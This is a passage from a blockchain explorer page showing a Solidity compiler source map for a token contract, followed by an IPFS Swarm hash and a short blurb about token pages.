:30:0::1;19093:27;19119:1;18954:93:::0;19093:27:::1;:::i;:::-;19060:60:::0;-1:-1:-1;19156:21:0::1;19131:22;19205:40;19060:60:::0;19205:15;:40:::1;:::i;:::-;19188:57:::0;-1:-1:-1;19262:10:0;;19258:67:::1;;19289:24;19306:6;19289:16;:24::i;:::-;19337:20;19360:38;19384:14:::0;19360:21:::1;:38;:::i;:::-;19337:61;;19409:24;19487:15;19452:18;;19437:12;:33;;;;:::i;:::-;19436:66;;;;:::i;:::-;19409:93:::0;-1:-1:-1;19513:23:0::1;19539:31;19409:93:::0;19539:12;:31:::1;:::i;:::-;19513:57;;19583:27;19621:26:::0;19658:27:::1;19696:26:::0;19739:12:::1;;19755:1;19739:17:::0;19735:202:::1;;19788:1;19773:16;;19735:202;;;19912:12;::::0;19873:17;;19855:35:::1;::::0;:15;:35:::1;:::i;:::-;19854:71;;;;:::i;:::-;19822:103;;19735:202;19951:13;;19968:1;19951:18:::0;19947:208:::1;;20002:1;19986:17;;19947:208;;;20129:13;::::0;20089:18;;20070:37:::1;::::0;:16;:37:::1;:::i;:::-;20069:74;;;;:::i;:::-;20036:107;;19947:208;20165:19;20220:1;20204:12;20188:13;:28;;;;:::i;:::-;20187:34;;;;:::i;:::-;20165:56:::0;-1:-1:-1;20238:15:0;;20234:1956:::1;;20311:49;20324:22;20348:11;20311:12;:49::i;:::-;20377:19;20399:26;20414:11:::0;20399:12;:26:::1;:::i;:::-;20377:48;;20442:22;20488:17;;20467:18;;:38;;;;:::i;:::-;20442:63;;20522:23;20602:14;20563:18;;20549:11;:32;;;;:::i;:::-;20548:68;;;;:::i;:::-;20522:94:::0;-1:-1:-1;20631:22:0::1;20656:29;20522:94:::0;20656:11;:29:::1;:::i;:::-;20631:54;;20706:13;;20723:1;20706:18:::0;20702:467:::1;;20767:1;20745:23;;20809:1;20787:23;;20702:467;;;20973:18:::0;;20957:13:::1;::::0;:34:::1;::::0;20973:18;20957:34:::1;:::i;:::-;20913:8;:18:::0;20895:36:::1;::::0;:15;:36:::1;:::i;:::-;20894:99;;;;:::i;:::-;21134:18:::0;;21118:13:::1;::::0;20851:142;;-1:-1:-1;21118:34:0::1;::::0;::::1;:::i;:::-;21074:18:::0;;21056:36:::1;::::0;:15;:36:::1;:::i;:::-;21055:98;;;;:::i;:::-;21012:141;;20702:467;21189:12;;21205:1;21189:17:::0;21185:455:::1;;21248:1;21227:22;;21289:1;21268:22;;21185:455;;;21449:17:::0;;21434:12:::1;::::0;:32:::1;::::0;21449:17;21434:32:::1;:::i;:::-;21391:7;:17:::0;21374:34:::1;::::0;:14;:34:::1;:::i;:::-;21373:94;;;;:::i;:::-;21606:17:::0;;21591:12:::1;::::0;21331:136;;-1:-1:-1;21591:32:0::1;::::0;::::1;:::i;:::-;21548:17:::0;;21531:34:::1;::::0;:14;:34:::1;:::i;:::-;21530:94;;;;:::i;:::-;21488:136;;21185:455;21656:25;21684:57;21723:18:::0;21684:19;:57:::1;:::i;:::-;21656:85:::0;-1:-1:-1;21756:25:0::1;21784:57;21823:18:::0;21784:19;:57:::1;:::i;:::-;21756:85:::0;-1:-1:-1;21862:21:0;;21858:116:::1;;21912:16;::::0;21904:54:::1;::::0;21912:16:::1;::::0;::::1;-1:-1:-1::0;;;;;21912:16:0::1;21940:17:::0;21904:35:::1;:54::i;:::-;21992:21:::0;;21988:116:::1;;22042:16;::::0;22034:54:::1;::::0;-1:-1:-1;;;;;22042:16:0::1;22070:17:::0;22034:35:::1;:54::i;:::-;-1:-1:-1::0;;22140:1:0::1;22120:17;:21:::0;;;22156:18:::1;:22:::0;-1:-1:-1;;;;20234:1956:0::1;-1:-1:-1::0;;12639:14:0;:22;;-1:-1:-1;;;;12639:22:0;;;-1:-1:-1;;;;;;;;;;;;;;;18086:4111:0;:::o;5320:404::-;-1:-1:-1;;;;;5460:20:0;;5452:70;;;;-1:-1:-1;;;5452:70:0;;22979:2:1;5452:70:0;;;22961:21:1;23018:2;22998:18;;;22991:30;23057:34;23037:18;;;23030:62;-1:-1:-1;;;23108:18:1;;;23101:35;23153:19;;5452:70:0;22777:401:1;5452:70:0;-1:-1:-1;;;;;5541:23:0;;5533:71;;;;-1:-1:-1;;;5533:71:0;;23385:2:1;5533:71:0;;;23367:21:1;23424:2;23404:18;;;23397:30;23463:34;23443:18;;;23436:62;-1:-1:-1;;;23514:18:1;;;23507:33;23557:19;;5533:71:0;23183:399:1;5533:71:0;5675:41;5690:6;5698:9;5709:6;5675:14;:41::i;22326:572::-;22487:16;;;22501:1;22487:16;;;;;;;;22463:21;;22487:16;;;;;;;;;;-1:-1:-1;22487:16:0;22463:40;;22532:4;22514;22519:1;22514:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;22514:23:0;;;:7;;;;;;;;;;:23;;;;22558:15;;:22;;;-1:-1:-1;;;22558:22:0;;;;:15;;;;;:20;;:22;;;;;22514:7;;22558:22;;;;;:15;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;22548:4;22553:1;22548:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;22548:32:0;;;:7;;;;;;;;;:32;22625:15;;22593:62;;22610:4;;22625:15;22643:11;22593:8;:62::i;:::-;22694:15;;:196;;-1:-1:-1;;;22694:196:0;;-1:-1:-1;;;;;22694:15:0;;;;:66;;:196;;22775:11;;22694:15;;22817:4;;22844;;22864:15;;22694:196;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;22381:517;22326:572;:::o;22906:512::-;23086:15;;23054:62;;23071:4;;-1:-1:-1;;;;;23086:15:0;23104:11;23054:8;:62::i;:::-;23159:15;;23363:6;;23159:251;;-1:-1:-1;;;23159:251:0;;23231:4;23159:251;;;24913:34:1;24963:18;;;24956:34;;;23159:15:0;25006:18:1;;;24999:34;;;25049:18;;;25042:34;-1:-1:-1;;;;;23363:6:0;;;25092:19:1;;;25085:44;23384:15:0;25145:19:1;;;25138:35;23159:15:0;;;:31;;23198:9;;24847:19:1;;23159:251:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;22906:512;;:::o;7240:391::-;7369:6;7344:21;:31;;7322:110;;;;-1:-1:-1;;;7322:110:0;;25697:2:1;7322:110:0;;;25679:21:1;25736:2;25716:18;;;25709:30;25775:31;25755:18;;;25748:59;25824:18;;7322:110:0;25495:353:1;7322:110:0;7446:12;7464:9;-1:-1:-1;;;;;7464:14:0;7486:6;7464:33;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7445:52;;;7530:7;7508:115;;;;-1:-1:-1;;;7508:115:0;;26265:2:1;7508:115:0;;;26247:21:1;26304:2;26284:18;;;26277:30;26343:34;26323:18;;;26316:62;26414:28;26394:18;;;26387:56;26460:19;;7508:115:0;26063:422:1;5732:455:0;-1:-1:-1;;;;;5893:17:0;;5869:21;5893:17;;;;;;;;;;;5943:23;;;;5921:111;;;;-1:-1:-1;;;5921:111:0;;26692:2:1;5921:111:0;;;26674:21:1;26731:2;26711:18;;;26704:30;26770:34;26750:18;;;26743:62;-1:-1:-1;;;26821:18:1;;;26814:36;26867:19;;5921:111:0;26490:402:1;5921:111:0;6063:22;6079:6;6063:13;:22;:::i;:::-;-1:-1:-1;;;;;6043:17:0;;;:9;:17;;;;;;;;;;;:42;;;;6096:20;;;;;;;;:30;;6120:6;;6043:9;6096:30;;6120:6;;6096:30;:::i;:::-;;;;;;;;6161:9;-1:-1:-1;;;;;6144:35:0;6153:6;-1:-1:-1;;;;;6144:35:0;;6172:6;6144:35;;;;3582:25:1;;3570:2;3555:18;;3436:177;6144:35:0;;;;;;;;5858:329;5732:455;;;:::o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;703:134;771:20;;800:31;771:20;800:31;:::i;:::-;703:134;;;:::o;842:247::-;901:6;954:2;942:9;933:7;929:23;925:32;922:52;;;970:1;967;960:12;922:52;1009:9;996:23;1028:31;1053:5;1028:31;:::i;1286:315::-;1354:6;1362;1415:2;1403:9;1394:7;1390:23;1386:32;1383:52;;;1431:1;1428;1421:12;1383:52;1470:9;1457:23;1489:31;1514:5;1489:31;:::i;:::-;1539:5;1591:2;1576:18;;;;1563:32;;-1:-1:-1;;;1286:315:1:o;1606:127::-;1667:10;1662:3;1658:20;1655:1;1648:31;1698:4;1695:1;1688:15;1722:4;1719:1;1712:15;1738:118;1824:5;1817:13;1810:21;1803:5;1800:32;1790:60;;1846:1;1843;1836:12;1861:128;1926:20;;1955:28;1926:20;1955:28;:::i;1994:1191::-;2084:6;2092;2145:2;2133:9;2124:7;2120:23;2116:32;2113:52;;;2161:1;2158;2151:12;2113:52;2201:9;2188:23;2230:18;2271:2;2263:6;2260:14;2257:34;;;2287:1;2284;2277:12;2257:34;2325:6;2314:9;2310:22;2300:32;;2370:7;2363:4;2359:2;2355:13;2351:27;2341:55;;2392:1;2389;2382:12;2341:55;2428:2;2415:16;2450:4;2473:2;2469;2466:10;2463:36;;;2479:18;;:::i;:::-;2525:2;2522:1;2518:10;2557:2;2551:9;2620:2;2616:7;2611:2;2607;2603:11;2599:25;2591:6;2587:38;2675:6;2663:10;2660:22;2655:2;2643:10;2640:18;2637:46;2634:72;;;2686:18;;:::i;:::-;2722:2;2715:22;2772:18;;;2806:15;;;;-1:-1:-1;2848:11:1;;;2844:20;;;2876:19;;;2873:39;;;2908:1;2905;2898:12;2873:39;2932:11;;;;2952:148;2968:6;2963:3;2960:15;2952:148;;;3034:23;3053:3;3034:23;:::i;:::-;3022:36;;2985:12;;;;3078;;;;2952:148;;;3119:6;-1:-1:-1;3144:35:1;;-1:-1:-1;3160:18:1;;;3144:35;:::i;:::-;3134:45;;;;;;1994:1191;;;;;:::o;3190:241::-;3246:6;3299:2;3287:9;3278:7;3274:23;3270:32;3267:52;;;3315:1;3312;3305:12;3267:52;3354:9;3341:23;3373:28;3395:5;3373:28;:::i;4049:469::-;4139:6;4147;4155;4208:2;4196:9;4187:7;4183:23;4179:32;4176:52;;;4224:1;4221;4214:12;4176:52;4263:9;4250:23;4282:31;4307:5;4282:31;:::i;:::-;4332:5;-1:-1:-1;4389:2:1;4374:18;;4361:32;4402:33;4361:32;4402:33;:::i;:::-;4049:469;;4454:7;;-1:-1:-1;;;4508:2:1;4493:18;;;;4480:32;;4049:469::o;4523:382::-;4588:6;4596;4649:2;4637:9;4628:7;4624:23;4620:32;4617:52;;;4665:1;4662;4655:12;4617:52;4704:9;4691:23;4723:31;4748:5;4723:31;:::i;:::-;4773:5;-1:-1:-1;4830:2:1;4815:18;;4802:32;4843:30;4802:32;4843:30;:::i;:::-;4892:7;4882:17;;;4523:382;;;;;:::o;5560:316::-;5637:6;5645;5653;5706:2;5694:9;5685:7;5681:23;5677:32;5674:52;;;5722:1;5719;5712:12;5674:52;-1:-1:-1;;5745:23:1;;;5815:2;5800:18;;5787:32;;-1:-1:-1;5866:2:1;5851:18;;;5838:32;;5560:316;-1:-1:-1;5560:316:1:o;5881:180::-;5940:6;5993:2;5981:9;5972:7;5968:23;5964:32;5961:52;;;6009:1;6006;5999:12;5961:52;-1:-1:-1;6032:23:1;;5881:180;-1:-1:-1;5881:180:1:o;6066:388::-;6134:6;6142;6195:2;6183:9;6174:7;6170:23;6166:32;6163:52;;;6211:1;6208;6201:12;6163:52;6250:9;6237:23;6269:31;6294:5;6269:31;:::i;:::-;6319:5;-1:-1:-1;6376:2:1;6361:18;;6348:32;6389:33;6348:32;6389:33;:::i;6459:315::-;6527:6;6535;6588:2;6576:9;6567:7;6563:23;6559:32;6556:52;;;6604:1;6601;6594:12;6556:52;6640:9;6627:23;6617:33;;6700:2;6689:9;6685:18;6672:32;6713:31;6738:5;6713:31;:::i;7103:380::-;7182:1;7178:12;;;;7225;;;7246:61;;7300:4;7292:6;7288:17;7278:27;;7246:61;7353:2;7345:6;7342:14;7322:18;7319:38;7316:161;;7399:10;7394:3;7390:20;7387:1;7380:31;7434:4;7431:1;7424:15;7462:4;7459:1;7452:15;7316:161;;7103:380;;;:::o;7488:356::-;7690:2;7672:21;;;7709:18;;;7702:30;7768:34;7763:2;7748:18;;7741:62;7835:2;7820:18;;7488:356::o;7849:127::-;7910:10;7905:3;7901:20;7898:1;7891:31;7941:4;7938:1;7931:15;7965:4;7962:1;7955:15;7981:127;8042:10;8037:3;8033:20;8030:1;8023:31;8073:4;8070:1;8063:15;8097:4;8094:1;8087:15;8113:135;8152:3;8173:17;;;8170:43;;8193:18;;:::i;:::-;-1:-1:-1;8240:1:1;8229:13;;8113:135::o;9425:545::-;9527:2;9522:3;9519:11;9516:448;;;9563:1;9588:5;9584:2;9577:17;9633:4;9629:2;9619:19;9703:2;9691:10;9687:19;9684:1;9680:27;9674:4;9670:38;9739:4;9727:10;9724:20;9721:47;;;-1:-1:-1;9762:4:1;9721:47;9817:2;9812:3;9808:12;9805:1;9801:20;9795:4;9791:31;9781:41;;9872:82;9890:2;9883:5;9880:13;9872:82;;;9935:17;;;9916:1;9905:13;9872:82;;10146:1352;10272:3;10266:10;10299:18;10291:6;10288:30;10285:56;;;10321:18;;:::i;:::-;10350:97;10440:6;10400:38;10432:4;10426:11;10400:38;:::i;:::-;10394:4;10350:97;:::i;:::-;10502:4;;10566:2;10555:14;;10583:1;10578:663;;;;11285:1;11302:6;11299:89;;;-1:-1:-1;11354:19:1;;;11348:26;11299:89;-1:-1:-1;;10103:1:1;10099:11;;;10095:24;10091:29;10081:40;10127:1;10123:11;;;10078:57;11401:81;;10548:944;;10578:663;9372:1;9365:14;;;9409:4;9396:18;;-1:-1:-1;;10614:20:1;;;10732:236;10746:7;10743:1;10740:14;10732:236;;;10835:19;;;10829:26;10814:42;;10927:27;;;;10895:1;10883:14;;;;10762:19;;10732:236;;;10736:3;10996:6;10987:7;10984:19;10981:201;;;11057:19;;;11051:26;-1:-1:-1;;11140:1:1;11136:14;;;11152:3;11132:24;11128:37;11124:42;11109:58;11094:74;;10981:201;-1:-1:-1;;;;;11228:1:1;11212:14;;;11208:22;11195:36;;-1:-1:-1;10146:1352:1:o;11503:422::-;11592:1;11635:5;11592:1;11649:270;11670:7;11660:8;11657:21;11649:270;;;11729:4;11725:1;11721:6;11717:17;11711:4;11708:27;11705:53;;;11738:18;;:::i;:::-;11788:7;11778:8;11774:22;11771:55;;;11808:16;;;;11771:55;11887:22;;;;11847:15;;;;11649:270;;;11653:3;11503:422;;;;;:::o;11930:806::-;11979:5;12009:8;11999:80;;-1:-1:-1;12050:1:1;12064:5;;11999:80;12098:4;12088:76;;-1:-1:-1;12135:1:1;12149:5;;12088:76;12180:4;12198:1;12193:59;;;;12266:1;12261:130;;;;12173:218;;12193:59;12223:1;12214:10;;12237:5;;;12261:130;12298:3;12288:8;12285:17;12282:43;;;12305:18;;:::i;:::-;-1:-1:-1;;12361:1:1;12347:16;;12376:5;;12173:218;;12475:2;12465:8;12462:16;12456:3;12450:4;12447:13;12443:36;12437:2;12427:8;12424:16;12419:2;12413:4;12410:12;12406:35;12403:77;12400:159;;;-1:-1:-1;12512:19:1;;;12544:5;;12400:159;12591:34;12616:8;12610:4;12591:34;:::i;:::-;12661:6;12657:1;12653:6;12649:19;12640:7;12637:32;12634:58;;;12672:18;;:::i;:::-;12710:20;;11930:806;-1:-1:-1;;;11930:806:1:o;12741:140::-;12799:5;12828:47;12869:4;12859:8;12855:19;12849:4;12828:47;:::i;12886:168::-;12959:9;;;12990;;13007:15;;;13001:22;;12987:37;12977:71;;13028:18;;:::i;13059:251::-;13129:6;13182:2;13170:9;13161:7;13157:23;13153:32;13150:52;;;13198:1;13195;13188:12;13150:52;13230:9;13224:16;13249:31;13274:5;13249:31;:::i;13624:217::-;13664:1;13690;13680:132;;13734:10;13729:3;13725:20;13722:1;13715:31;13769:4;13766:1;13759:15;13797:4;13794:1;13787:15;13680:132;-1:-1:-1;13826:9:1;;13624:217::o;13846:125::-;13911:9;;;13932:10;;;13929:36;;;13945:18;;:::i;14385:128::-;14452:9;;;14473:11;;;14470:37;;;14487:18;;:::i;15072:491::-;15274:2;15256:21;;;15313:2;15293:18;;;15286:30;15352:34;15347:2;15332:18;;15325:62;15423:34;15418:2;15403:18;;15396:62;15495:25;15489:3;15474:19;;15467:54;15553:3;15538:19;;15072:491::o;20352:245::-;20419:6;20472:2;20460:9;20451:7;20447:23;20443:32;20440:52;;;20488:1;20485;20478:12;20440:52;20520:9;20514:16;20539:28;20561:5;20539:28;:::i;23587:980::-;23849:4;23897:3;23886:9;23882:19;23928:6;23917:9;23910:25;23954:2;23992:6;23987:2;23976:9;23972:18;23965:34;24035:3;24030:2;24019:9;24015:18;24008:31;24059:6;24094;24088:13;24125:6;24117;24110:22;24163:3;24152:9;24148:19;24141:26;;24202:2;24194:6;24190:15;24176:29;;24223:1;24233:195;24247:6;24244:1;24241:13;24233:195;;;24312:13;;-1:-1:-1;;;;;24308:39:1;24296:52;;24403:15;;;;24368:12;;;;24344:1;24262:9;24233:195;;;-1:-1:-1;;;;;;;24484:32:1;;;;24479:2;24464:18;;24457:60;-1:-1:-1;;;24548:3:1;24533:19;24526:35;24445:3;23587:980;-1:-1:-1;;;23587:980:1:o;25184:306::-;25272:6;25280;25288;25341:2;25329:9;25320:7;25316:23;25312:32;25309:52;;;25357:1;25354;25347:12;25309:52;25386:9;25380:16;25370:26;;25436:2;25425:9;25421:18;25415:25;25405:35;;25480:2;25469:9;25465:18;25459:25;25449:35;;25184:306;;;;;:::o

Swarm Source

ipfs://14b311df20280a890758a68bbf9f825ccdb12b549e8929bd7b3df128740f5f19
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.